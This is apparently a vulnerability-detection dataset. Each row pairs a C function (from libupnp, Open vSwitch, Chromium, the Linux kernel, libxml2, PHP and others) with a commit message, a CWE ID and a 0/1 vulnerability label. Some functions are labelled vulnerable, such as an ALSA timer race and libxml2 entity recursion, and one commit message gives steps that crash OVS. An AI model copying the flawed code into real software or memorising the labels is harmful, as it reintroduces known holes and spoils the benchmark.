instruction
stringclasses 1
value | input
stringlengths 64
129k
| output
int64 0
1
| __index_level_0__
int64 0
30k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int process_request(
/*! [in] HTTP Request message. */
http_message_t *req,
/*! [out] Tpye of response. */
enum resp_type *rtype,
/*! [out] Headers. */
membuffer *headers,
/*! [out] Get filename from request document. */
membuffer *filename,
/*! [out] Xml alias document from the request document. */
struct xml_alias_t *alias,
/*! [out] Send Instruction object where the response is set up. */
struct SendInstruction *RespInstr)
{
int code;
int err_code;
char *request_doc;
UpnpFileInfo *finfo;
time_t aux_LastModified;
int using_alias;
int using_virtual_dir;
uri_type *url;
const char *temp_str;
int resp_major;
int resp_minor;
int alias_grabbed;
size_t dummy;
const char *extra_headers = NULL;
print_http_headers(req);
url = &req->uri;
assert(req->method == HTTPMETHOD_GET ||
req->method == HTTPMETHOD_HEAD ||
req->method == HTTPMETHOD_POST ||
req->method == HTTPMETHOD_SIMPLEGET);
/* init */
memset(&finfo, 0, sizeof(finfo));
request_doc = NULL;
finfo = UpnpFileInfo_new();
alias_grabbed = FALSE;
err_code = HTTP_INTERNAL_SERVER_ERROR; /* default error */
using_virtual_dir = FALSE;
using_alias = FALSE;
http_CalcResponseVersion(req->major_version, req->minor_version,
&resp_major, &resp_minor);
/* */
/* remove dots */
/* */
request_doc = malloc(url->pathquery.size + 1);
if (request_doc == NULL) {
goto error_handler; /* out of mem */
}
memcpy(request_doc, url->pathquery.buff, url->pathquery.size);
request_doc[url->pathquery.size] = '\0';
dummy = url->pathquery.size;
remove_escaped_chars(request_doc, &dummy);
code = remove_dots(request_doc, url->pathquery.size);
if (code != 0) {
err_code = HTTP_FORBIDDEN;
goto error_handler;
}
if (*request_doc != '/') {
/* no slash */
err_code = HTTP_BAD_REQUEST;
goto error_handler;
}
if (isFileInVirtualDir(request_doc)) {
using_virtual_dir = TRUE;
RespInstr->IsVirtualFile = 1;
if (membuffer_assign_str(filename, request_doc) != 0) {
goto error_handler;
}
} else {
/* try using alias */
if (is_valid_alias(&gAliasDoc)) {
alias_grab(alias);
alias_grabbed = TRUE;
using_alias = get_alias(request_doc, alias, finfo);
if (using_alias == TRUE) {
UpnpFileInfo_set_ContentType(finfo,
"text/xml; charset=\"utf-8\"");
if (UpnpFileInfo_get_ContentType(finfo) == NULL) {
goto error_handler;
}
}
}
}
if (using_virtual_dir) {
if (req->method != HTTPMETHOD_POST) {
/* get file info */
if (virtualDirCallback.
get_info(filename->buf, finfo) != 0) {
err_code = HTTP_NOT_FOUND;
goto error_handler;
}
/* try index.html if req is a dir */
if (UpnpFileInfo_get_IsDirectory(finfo)) {
if (filename->buf[filename->length - 1] == '/') {
temp_str = "index.html";
} else {
temp_str = "/index.html";
}
if (membuffer_append_str(filename, temp_str) !=
0) {
goto error_handler;
}
/* get info */
if (virtualDirCallback.get_info(filename->buf, finfo) != UPNP_E_SUCCESS ||
UpnpFileInfo_get_IsDirectory(finfo)) {
err_code = HTTP_NOT_FOUND;
goto error_handler;
}
}
/* not readable */
if (!UpnpFileInfo_get_IsReadable(finfo)) {
err_code = HTTP_FORBIDDEN;
goto error_handler;
}
/* finally, get content type */
/* if ( get_content_type(filename->buf, &content_type) != 0 ) */
/*{ */
/* goto error_handler; */
/* } */
}
} else if (!using_alias) {
if (gDocumentRootDir.length == 0) {
goto error_handler;
}
/* */
/* get file name */
/* */
/* filename str */
if (membuffer_assign_str(filename, gDocumentRootDir.buf) != 0 ||
membuffer_append_str(filename, request_doc) != 0) {
goto error_handler; /* out of mem */
}
/* remove trailing slashes */
while (filename->length > 0 &&
filename->buf[filename->length - 1] == '/') {
membuffer_delete(filename, filename->length - 1, 1);
}
if (req->method != HTTPMETHOD_POST) {
/* get info on file */
if (get_file_info(filename->buf, finfo) != 0) {
err_code = HTTP_NOT_FOUND;
goto error_handler;
}
/* try index.html if req is a dir */
if (UpnpFileInfo_get_IsDirectory(finfo)) {
if (filename->buf[filename->length - 1] == '/') {
temp_str = "index.html";
} else {
temp_str = "/index.html";
}
if (membuffer_append_str(filename, temp_str) !=
0) {
goto error_handler;
}
/* get info */
if (get_file_info(filename->buf, finfo) != 0 ||
UpnpFileInfo_get_IsDirectory(finfo)) {
err_code = HTTP_NOT_FOUND;
goto error_handler;
}
}
/* not readable */
if (!UpnpFileInfo_get_IsReadable(finfo)) {
err_code = HTTP_FORBIDDEN;
goto error_handler;
}
}
/* finally, get content type */
/* if ( get_content_type(filename->buf, &content_type) != 0 ) */
/* { */
/* goto error_handler; */
/* } */
}
RespInstr->ReadSendSize = UpnpFileInfo_get_FileLength(finfo);
/* Check other header field. */
code = CheckOtherHTTPHeaders(req, RespInstr,
UpnpFileInfo_get_FileLength(finfo));
if (code != HTTP_OK) {
err_code = code;
goto error_handler;
}
if (req->method == HTTPMETHOD_POST) {
*rtype = RESP_POST;
err_code = HTTP_OK;
goto error_handler;
}
extra_headers = UpnpFileInfo_get_ExtraHeaders(finfo);
if (!extra_headers) {
extra_headers = "";
}
/* Check if chunked encoding should be used. */
if (using_virtual_dir && UpnpFileInfo_get_FileLength(finfo) == UPNP_USING_CHUNKED) {
/* Chunked encoding is only supported by HTTP 1.1 clients */
if (resp_major == 1 && resp_minor == 1) {
RespInstr->IsChunkActive = 1;
} else {
/* The virtual callback indicates that we should use
* chunked encoding however the client doesn't support
* it. Return with an internal server error. */
err_code = HTTP_NOT_ACCEPTABLE;
goto error_handler;
}
}
aux_LastModified = UpnpFileInfo_get_LastModified(finfo);
if (RespInstr->IsRangeActive && RespInstr->IsChunkActive) {
/* Content-Range: bytes 222-3333/4000 HTTP_PARTIAL_CONTENT */
/* Transfer-Encoding: chunked */
if (http_MakeMessage(headers, resp_major, resp_minor,
"R" "T" "GKLD" "s" "tcS" "Xc" "sCc",
HTTP_PARTIAL_CONTENT, /* status code */
UpnpFileInfo_get_ContentType(finfo), /* content type */
RespInstr, /* range info */
RespInstr, /* language info */
"LAST-MODIFIED: ",
&aux_LastModified,
X_USER_AGENT, extra_headers) != 0) {
goto error_handler;
}
} else if (RespInstr->IsRangeActive && !RespInstr->IsChunkActive) {
/* Content-Range: bytes 222-3333/4000 HTTP_PARTIAL_CONTENT */
if (http_MakeMessage(headers, resp_major, resp_minor,
"R" "N" "T" "GLD" "s" "tcS" "Xc" "sCc",
HTTP_PARTIAL_CONTENT, /* status code */
RespInstr->ReadSendSize, /* content length */
UpnpFileInfo_get_ContentType(finfo), /* content type */
RespInstr, /* range info */
RespInstr, /* language info */
"LAST-MODIFIED: ",
&aux_LastModified,
X_USER_AGENT, extra_headers) != 0) {
goto error_handler;
}
} else if (!RespInstr->IsRangeActive && RespInstr->IsChunkActive) {
/* Transfer-Encoding: chunked */
if (http_MakeMessage(headers, resp_major, resp_minor,
"RK" "TLD" "s" "tcS" "Xc" "sCc",
HTTP_OK, /* status code */
UpnpFileInfo_get_ContentType(finfo), /* content type */
RespInstr, /* language info */
"LAST-MODIFIED: ",
&aux_LastModified,
X_USER_AGENT, extra_headers) != 0) {
goto error_handler;
}
} else {
/* !RespInstr->IsRangeActive && !RespInstr->IsChunkActive */
if (RespInstr->ReadSendSize >= 0) {
if (http_MakeMessage(headers, resp_major, resp_minor,
"R" "N" "TLD" "s" "tcS" "Xc" "sCc",
HTTP_OK, /* status code */
RespInstr->ReadSendSize, /* content length */
UpnpFileInfo_get_ContentType(finfo), /* content type */
RespInstr, /* language info */
"LAST-MODIFIED: ",
&aux_LastModified,
X_USER_AGENT,
extra_headers) != 0) {
goto error_handler;
}
} else {
if (http_MakeMessage(headers, resp_major, resp_minor,
"R" "TLD" "s" "tcS" "Xc" "sCc",
HTTP_OK, /* status code */
UpnpFileInfo_get_ContentType(finfo), /* content type */
RespInstr, /* language info */
"LAST-MODIFIED: ",
&aux_LastModified,
X_USER_AGENT,
extra_headers) != 0) {
goto error_handler;
}
}
}
if (req->method == HTTPMETHOD_HEAD) {
*rtype = RESP_HEADERS;
} else if (using_alias) {
/* GET xml */
*rtype = RESP_XMLDOC;
} else if (using_virtual_dir) {
*rtype = RESP_WEBDOC;
} else {
/* GET filename */
*rtype = RESP_FILEDOC;
}
/* simple get http 0.9 as specified in http 1.0 */
/* don't send headers */
if (req->method == HTTPMETHOD_SIMPLEGET) {
membuffer_destroy(headers);
}
err_code = HTTP_OK;
error_handler:
free(request_doc);
UpnpFileInfo_delete(finfo);
if (err_code != HTTP_OK && alias_grabbed) {
alias_release(alias);
}
return err_code;
}
Commit Message: Don't allow unhandled POSTs to write to the filesystem by default
If there's no registered handler for a POST request, the default behaviour
is to write it to the filesystem. Several million deployed devices appear
to have this behaviour, making it possible to (at least) store arbitrary
data on them. Add a configure option that enables this behaviour, and change
the default to just drop POSTs that aren't directly handled.
CWE ID: CWE-284
| 0
| 8,747
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ofproto_get_ipfix_stats(struct ofproto *ofproto,
bool bridge_ipfix,
struct ovs_list *replies)
{
int error;
if (ofproto->ofproto_class->get_ipfix_stats) {
error = ofproto->ofproto_class->get_ipfix_stats(ofproto,
bridge_ipfix,
replies);
} else {
error = EOPNOTSUPP;
}
return error;
}
Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit
During bundle commit flows which are added in bundle are applied
to ofproto in-order. In case if a flow cannot be added (e.g. flow
action is go-to group id which does not exist), OVS tries to
revert back all previous flows which were successfully applied
from the same bundle. This is possible since OVS maintains list
of old flows which were replaced by flows from the bundle.
While reinserting old flows ovs asserts due to check on rule
state != RULE_INITIALIZED. This will work only for new flows, but
for old flow the rule state will be RULE_REMOVED. This is causing
an assert and OVS crash.
The ovs assert check should be modified to != RULE_INSERTED to prevent
any existing rule being re-inserted and allow new rules and old rules
(in case of revert) to get inserted.
Here is an example to trigger the assert:
$ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev
$ cat flows.txt
flow add table=1,priority=0,in_port=2,actions=NORMAL
flow add table=1,priority=0,in_port=3,actions=NORMAL
$ ovs-ofctl dump-flows -OOpenflow13 br-test
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL
cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL
$ cat flow-modify.txt
flow modify table=1,priority=0,in_port=2,actions=drop
flow modify table=1,priority=0,in_port=3,actions=group:10
$ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13
First flow rule will be modified since it is a valid rule. However second
rule is invalid since no group with id 10 exists. Bundle commit tries to
revert (insert) the first rule to old flow which results in ovs_assert at
ofproto_rule_insert__() since old rule->state = RULE_REMOVED.
Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com>
Signed-off-by: Ben Pfaff <blp@ovn.org>
CWE ID: CWE-617
| 0
| 28,657
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool Equals(Notification* other)
{
return other && frame == other->frame && context == other->context && worldId == other->worldId;
}
Commit Message: Call didAccessInitialDocument when javascript: URLs are used.
BUG=265221
TEST=See bug for repro.
Review URL: https://chromiumcodereview.appspot.com/22572004
git-svn-id: svn://svn.chromium.org/blink/trunk@155790 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 14,257
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: png_process_some_data(png_structp png_ptr, png_infop info_ptr)
{
if (png_ptr == NULL)
return;
switch (png_ptr->process_mode)
{
case PNG_READ_SIG_MODE:
{
png_push_read_sig(png_ptr, info_ptr);
break;
}
case PNG_READ_CHUNK_MODE:
{
png_push_read_chunk(png_ptr, info_ptr);
break;
}
case PNG_READ_IDAT_MODE:
{
png_push_read_IDAT(png_ptr);
break;
}
case PNG_SKIP_MODE:
{
png_push_crc_finish(png_ptr);
break;
}
default:
{
png_ptr->buffer_size = 0;
break;
}
}
}
Commit Message: third_party/libpng: update to 1.2.54
TBR=darin@chromium.org
BUG=560291
Review URL: https://codereview.chromium.org/1467263003
Cr-Commit-Position: refs/heads/master@{#362298}
CWE ID: CWE-119
| 0
| 24,899
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static const char *FourCC2MIME(uint32_t fourcc) {
switch (fourcc) {
case FOURCC('m', 'p', '4', 'a'):
return MEDIA_MIMETYPE_AUDIO_AAC;
case FOURCC('s', 'a', 'm', 'r'):
return MEDIA_MIMETYPE_AUDIO_AMR_NB;
case FOURCC('s', 'a', 'w', 'b'):
return MEDIA_MIMETYPE_AUDIO_AMR_WB;
case FOURCC('m', 'p', '4', 'v'):
return MEDIA_MIMETYPE_VIDEO_MPEG4;
case FOURCC('s', '2', '6', '3'):
case FOURCC('h', '2', '6', '3'):
case FOURCC('H', '2', '6', '3'):
return MEDIA_MIMETYPE_VIDEO_H263;
case FOURCC('a', 'v', 'c', '1'):
return MEDIA_MIMETYPE_VIDEO_AVC;
default:
CHECK(!"should not be here.");
return NULL;
}
}
Commit Message: Fix out-of-bounds write
Bug: 26365349
Change-Id: Ia363d9f8c231cf255dea852e0bbf5ca466c7990b
CWE ID: CWE-20
| 0
| 10,155
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int netdev_set_tc_queue(struct net_device *dev, u8 tc, u16 count, u16 offset)
{
if (tc >= dev->num_tc)
return -EINVAL;
#ifdef CONFIG_XPS
netif_reset_xps_queues(dev, offset, count);
#endif
dev->tc_to_txq[tc].count = count;
dev->tc_to_txq[tc].offset = offset;
return 0;
}
Commit Message: tun: call dev_get_valid_name() before register_netdevice()
register_netdevice() could fail early when we have an invalid
dev name, in which case ->ndo_uninit() is not called. For tun
device, this is a problem because a timer etc. are already
initialized and it expects ->ndo_uninit() to clean them up.
We could move these initializations into a ->ndo_init() so
that register_netdevice() knows better, however this is still
complicated due to the logic in tun_detach().
Therefore, I choose to just call dev_get_valid_name() before
register_netdevice(), which is quicker and much easier to audit.
And for this specific case, it is already enough.
Fixes: 96442e42429e ("tuntap: choose the txq based on rxq")
Reported-by: Dmitry Alexeev <avekceeb@gmail.com>
Cc: Jason Wang <jasowang@redhat.com>
Cc: "Michael S. Tsirkin" <mst@redhat.com>
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-476
| 0
| 9,530
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::AdjustFloatRectForScrollAndAbsoluteZoom(
FloatRect& rect,
const LayoutObject& layout_object) const {
if (!View())
return;
LayoutRect visible_content_rect(View()->VisibleContentRect());
rect.Move(-FloatSize(visible_content_rect.X().ToFloat(),
visible_content_rect.Y().ToFloat()));
AdjustForAbsoluteZoom::AdjustFloatRect(rect, layout_object);
}
Commit Message: Fixed bug where PlzNavigate CSP in a iframe did not get the inherited CSP
When inheriting the CSP from a parent document to a local-scheme CSP,
it does not always get propagated to the PlzNavigate CSP. This means
that PlzNavigate CSP checks (like `frame-src`) would be ran against
a blank policy instead of the proper inherited policy.
Bug: 778658
Change-Id: I61bb0d432e1cea52f199e855624cb7b3078f56a9
Reviewed-on: https://chromium-review.googlesource.com/765969
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/master@{#518245}
CWE ID: CWE-732
| 0
| 25,532
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static long snd_timer_user_ioctl(struct file *file, unsigned int cmd,
unsigned long arg)
{
struct snd_timer_user *tu;
void __user *argp = (void __user *)arg;
int __user *p = argp;
tu = file->private_data;
switch (cmd) {
case SNDRV_TIMER_IOCTL_PVERSION:
return put_user(SNDRV_TIMER_VERSION, p) ? -EFAULT : 0;
case SNDRV_TIMER_IOCTL_NEXT_DEVICE:
return snd_timer_user_next_device(argp);
case SNDRV_TIMER_IOCTL_TREAD:
{
int xarg;
mutex_lock(&tu->tread_sem);
if (tu->timeri) { /* too late */
mutex_unlock(&tu->tread_sem);
return -EBUSY;
}
if (get_user(xarg, p)) {
mutex_unlock(&tu->tread_sem);
return -EFAULT;
}
tu->tread = xarg ? 1 : 0;
mutex_unlock(&tu->tread_sem);
return 0;
}
case SNDRV_TIMER_IOCTL_GINFO:
return snd_timer_user_ginfo(file, argp);
case SNDRV_TIMER_IOCTL_GPARAMS:
return snd_timer_user_gparams(file, argp);
case SNDRV_TIMER_IOCTL_GSTATUS:
return snd_timer_user_gstatus(file, argp);
case SNDRV_TIMER_IOCTL_SELECT:
return snd_timer_user_tselect(file, argp);
case SNDRV_TIMER_IOCTL_INFO:
return snd_timer_user_info(file, argp);
case SNDRV_TIMER_IOCTL_PARAMS:
return snd_timer_user_params(file, argp);
case SNDRV_TIMER_IOCTL_STATUS:
return snd_timer_user_status(file, argp);
case SNDRV_TIMER_IOCTL_START:
case SNDRV_TIMER_IOCTL_START_OLD:
return snd_timer_user_start(file);
case SNDRV_TIMER_IOCTL_STOP:
case SNDRV_TIMER_IOCTL_STOP_OLD:
return snd_timer_user_stop(file);
case SNDRV_TIMER_IOCTL_CONTINUE:
case SNDRV_TIMER_IOCTL_CONTINUE_OLD:
return snd_timer_user_continue(file);
case SNDRV_TIMER_IOCTL_PAUSE:
case SNDRV_TIMER_IOCTL_PAUSE_OLD:
return snd_timer_user_pause(file);
}
return -ENOTTY;
}
Commit Message: ALSA: timer: Fix race among timer ioctls
ALSA timer ioctls have an open race and this may lead to a
use-after-free of timer instance object. A simplistic fix is to make
each ioctl exclusive. We have already tread_sem for controlling the
tread, and extend this as a global mutex to be applied to each ioctl.
The downside is, of course, the worse concurrency. But these ioctls
aren't to be parallel accessible, in anyway, so it should be fine to
serialize there.
Reported-by: Dmitry Vyukov <dvyukov@google.com>
Tested-by: Dmitry Vyukov <dvyukov@google.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-362
| 1
| 16,914
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static __always_inline void __vmcs_writel(unsigned long field, unsigned long value)
{
u8 error;
asm volatile (__ex(ASM_VMX_VMWRITE_RAX_RDX) "; setna %0"
: "=q"(error) : "a"(value), "d"(field) : "cc");
if (unlikely(error))
vmwrite_error(field, value);
}
Commit Message: kvm: nVMX: Allow L1 to intercept software exceptions (#BP and #OF)
When L2 exits to L0 due to "exception or NMI", software exceptions
(#BP and #OF) for which L1 has requested an intercept should be
handled by L1 rather than L0. Previously, only hardware exceptions
were forwarded to L1.
Signed-off-by: Jim Mattson <jmattson@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-388
| 0
| 26,746
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: AutofillPopupSuggestionView::CreateBackground() {
return views::CreateSolidBackground(
is_selected_ ? popup_view_->GetSelectedBackgroundColor()
: popup_view_->GetBackgroundColor());
}
Commit Message: [Autofill] Remove AutofillPopupViewViews and associated feature.
Bug: 906135,831603
Change-Id: I3c982f8b3ffb4928c7c878e74e10113999106499
Reviewed-on: https://chromium-review.googlesource.com/c/1387124
Reviewed-by: Robert Kaplow <rkaplow@chromium.org>
Reviewed-by: Vasilii Sukhanov <vasilii@chromium.org>
Reviewed-by: Fabio Tirelo <ftirelo@chromium.org>
Reviewed-by: Tommy Martino <tmartino@chromium.org>
Commit-Queue: Mathieu Perreault <mathp@chromium.org>
Cr-Commit-Position: refs/heads/master@{#621360}
CWE ID: CWE-416
| 0
| 7,865
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static unsigned get_num_discard_bios(struct dm_target *ti)
{
return ti->num_discard_bios;
}
Commit Message: dm: fix race between dm_get_from_kobject() and __dm_destroy()
The following BUG_ON was hit when testing repeat creation and removal of
DM devices:
kernel BUG at drivers/md/dm.c:2919!
CPU: 7 PID: 750 Comm: systemd-udevd Not tainted 4.1.44
Call Trace:
[<ffffffff81649e8b>] dm_get_from_kobject+0x34/0x3a
[<ffffffff81650ef1>] dm_attr_show+0x2b/0x5e
[<ffffffff817b46d1>] ? mutex_lock+0x26/0x44
[<ffffffff811df7f5>] sysfs_kf_seq_show+0x83/0xcf
[<ffffffff811de257>] kernfs_seq_show+0x23/0x25
[<ffffffff81199118>] seq_read+0x16f/0x325
[<ffffffff811de994>] kernfs_fop_read+0x3a/0x13f
[<ffffffff8117b625>] __vfs_read+0x26/0x9d
[<ffffffff8130eb59>] ? security_file_permission+0x3c/0x44
[<ffffffff8117bdb8>] ? rw_verify_area+0x83/0xd9
[<ffffffff8117be9d>] vfs_read+0x8f/0xcf
[<ffffffff81193e34>] ? __fdget_pos+0x12/0x41
[<ffffffff8117c686>] SyS_read+0x4b/0x76
[<ffffffff817b606e>] system_call_fastpath+0x12/0x71
The bug can be easily triggered, if an extra delay (e.g. 10ms) is added
between the test of DMF_FREEING & DMF_DELETING and dm_get() in
dm_get_from_kobject().
To fix it, we need to ensure the test of DMF_FREEING & DMF_DELETING and
dm_get() are done in an atomic way, so _minor_lock is used.
The other callers of dm_get() have also been checked to be OK: some
callers invoke dm_get() under _minor_lock, some callers invoke it under
_hash_lock, and dm_start_request() invoke it after increasing
md->open_count.
Cc: stable@vger.kernel.org
Signed-off-by: Hou Tao <houtao1@huawei.com>
Signed-off-by: Mike Snitzer <snitzer@redhat.com>
CWE ID: CWE-362
| 0
| 29,991
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: FakePacketTransport(quic::QuicAlarmFactory* alarm_factory,
quic::MockClock* clock)
: alarm_(alarm_factory->CreateAlarm(new AlarmDelegate(this))),
clock_(clock) {}
Commit Message: P2PQuicStream write functionality.
This adds the P2PQuicStream::WriteData function and adds tests. It also
adds the concept of a write buffered amount, enforcing this at the
P2PQuicStreamImpl.
Bug: 874296
Change-Id: Id02c8aa8d5368a87bb24a2e50dab5ef94bcae131
Reviewed-on: https://chromium-review.googlesource.com/c/1315534
Commit-Queue: Seth Hampson <shampson@chromium.org>
Reviewed-by: Henrik Boström <hbos@chromium.org>
Cr-Commit-Position: refs/heads/master@{#605766}
CWE ID: CWE-284
| 0
| 28,734
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlParsePEReference(xmlParserCtxtPtr ctxt)
{
const xmlChar *name;
xmlEntityPtr entity = NULL;
xmlParserInputPtr input;
if (RAW != '%')
return;
NEXT;
name = xmlParseName(ctxt);
if (name == NULL) {
xmlFatalErrMsg(ctxt, XML_ERR_PEREF_NO_NAME, "PEReference: no name\n");
return;
}
if (xmlParserDebugEntities)
xmlGenericError(xmlGenericErrorContext,
"PEReference: %s\n", name);
if (RAW != ';') {
xmlFatalErr(ctxt, XML_ERR_PEREF_SEMICOL_MISSING, NULL);
return;
}
NEXT;
/*
* Increate the number of entity references parsed
*/
ctxt->nbentities++;
/*
* Request the entity from SAX
*/
if ((ctxt->sax != NULL) &&
(ctxt->sax->getParameterEntity != NULL))
entity = ctxt->sax->getParameterEntity(ctxt->userData, name);
if (ctxt->instate == XML_PARSER_EOF)
return;
if (entity == NULL) {
/*
* [ WFC: Entity Declared ]
* In a document without any DTD, a document with only an
* internal DTD subset which contains no parameter entity
* references, or a document with "standalone='yes'", ...
* ... The declaration of a parameter entity must precede
* any reference to it...
*/
if ((ctxt->standalone == 1) ||
((ctxt->hasExternalSubset == 0) &&
(ctxt->hasPErefs == 0))) {
xmlFatalErrMsgStr(ctxt, XML_ERR_UNDECLARED_ENTITY,
"PEReference: %%%s; not found\n",
name);
} else {
/*
* [ VC: Entity Declared ]
* In a document with an external subset or external
* parameter entities with "standalone='no'", ...
* ... The declaration of a parameter entity must
* precede any reference to it...
*/
if ((ctxt->validate) && (ctxt->vctxt.error != NULL)) {
xmlValidityError(ctxt, XML_WAR_UNDECLARED_ENTITY,
"PEReference: %%%s; not found\n",
name, NULL);
} else
xmlWarningMsg(ctxt, XML_WAR_UNDECLARED_ENTITY,
"PEReference: %%%s; not found\n",
name, NULL);
ctxt->valid = 0;
}
xmlParserEntityCheck(ctxt, 0, NULL, 0);
} else {
/*
* Internal checking in case the entity quest barfed
*/
if ((entity->etype != XML_INTERNAL_PARAMETER_ENTITY) &&
(entity->etype != XML_EXTERNAL_PARAMETER_ENTITY)) {
xmlWarningMsg(ctxt, XML_WAR_UNDECLARED_ENTITY,
"Internal: %%%s; is not a parameter entity\n",
name, NULL);
} else {
xmlChar start[4];
xmlCharEncoding enc;
if ((entity->etype == XML_EXTERNAL_PARAMETER_ENTITY) &&
((ctxt->options & XML_PARSE_NOENT) == 0) &&
((ctxt->options & XML_PARSE_DTDVALID) == 0) &&
((ctxt->options & XML_PARSE_DTDLOAD) == 0) &&
((ctxt->options & XML_PARSE_DTDATTR) == 0) &&
(ctxt->replaceEntities == 0) &&
(ctxt->validate == 0))
return;
input = xmlNewEntityInputStream(ctxt, entity);
if (xmlPushInput(ctxt, input) < 0)
return;
if (entity->etype == XML_EXTERNAL_PARAMETER_ENTITY) {
/*
* Get the 4 first bytes and decode the charset
* if enc != XML_CHAR_ENCODING_NONE
* plug some encoding conversion routines.
* Note that, since we may have some non-UTF8
* encoding (like UTF16, bug 135229), the 'length'
* is not known, but we can calculate based upon
* the amount of data in the buffer.
*/
GROW
if (ctxt->instate == XML_PARSER_EOF)
return;
if ((ctxt->input->end - ctxt->input->cur)>=4) {
start[0] = RAW;
start[1] = NXT(1);
start[2] = NXT(2);
start[3] = NXT(3);
enc = xmlDetectCharEncoding(start, 4);
if (enc != XML_CHAR_ENCODING_NONE) {
xmlSwitchEncoding(ctxt, enc);
}
}
if ((CMP5(CUR_PTR, '<', '?', 'x', 'm', 'l')) &&
(IS_BLANK_CH(NXT(5)))) {
xmlParseTextDecl(ctxt);
}
}
}
}
ctxt->hasPErefs = 1;
}
Commit Message: Detect infinite recursion in parameter entities
When expanding a parameter entity in a DTD, infinite recursion could
lead to an infinite loop or memory exhaustion.
Thanks to Wei Lei for the first of many reports.
Fixes bug 759579.
CWE ID: CWE-835
| 1
| 1,201
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void init_rangecoder(RangeCoder *rc, GetByteContext *gb)
{
rc->code1 = 0;
rc->range = 0xFFFFFFFFU;
rc->code = bytestream2_get_be32(gb);
}
Commit Message: avcodec/scpr: Check y in first line loop in decompress_i()
Fixes: out of array access
Fixes: 1478/clusterfuzz-testcase-minimized-5285486908145664
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-119
| 0
| 28,525
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHP_FUNCTION(openssl_open)
{
zval **privkey, *opendata;
EVP_PKEY *pkey;
int len1, len2;
unsigned char *buf;
long keyresource = -1;
EVP_CIPHER_CTX ctx;
char * data; int data_len;
char * ekey; int ekey_len;
char *method =NULL;
int method_len = 0;
const EVP_CIPHER *cipher;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "szsZ|s", &data, &data_len, &opendata, &ekey, &ekey_len, &privkey, &method, &method_len) == FAILURE) {
return;
}
pkey = php_openssl_evp_from_zval(privkey, 0, "", 0, &keyresource TSRMLS_CC);
if (pkey == NULL) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "unable to coerce parameter 4 into a private key");
RETURN_FALSE;
}
if (method) {
cipher = EVP_get_cipherbyname(method);
if (!cipher) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown signature algorithm.");
RETURN_FALSE;
}
} else {
cipher = EVP_rc4();
}
buf = emalloc(data_len + 1);
if (EVP_OpenInit(&ctx, cipher, (unsigned char *)ekey, ekey_len, NULL, pkey) && EVP_OpenUpdate(&ctx, buf, &len1, (unsigned char *)data, data_len)) {
if (!EVP_OpenFinal(&ctx, buf + len1, &len2) || (len1 + len2 == 0)) {
efree(buf);
RETVAL_FALSE;
} else {
zval_dtor(opendata);
buf[len1 + len2] = '\0';
ZVAL_STRINGL(opendata, erealloc(buf, len1 + len2 + 1), len1 + len2, 0);
RETVAL_TRUE;
}
} else {
efree(buf);
RETVAL_FALSE;
}
if (keyresource == -1) {
EVP_PKEY_free(pkey);
}
EVP_CIPHER_CTX_cleanup(&ctx);
}
Commit Message:
CWE ID: CWE-310
| 0
| 23,042
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void print_version(void)
{
printf("psensor-server %s\n", VERSION);
printf(_("Copyright (C) %s jeanfi@gmail.com\n"
"License GPLv2: GNU GPL version 2 or later "
"<http://www.gnu.org/licenses/old-licenses/gpl-2.0.html>\n"
"This is free software: you are free to change and redistribute it.\n"
"There is NO WARRANTY, to the extent permitted by law.\n"),
"2010-2012");
}
Commit Message:
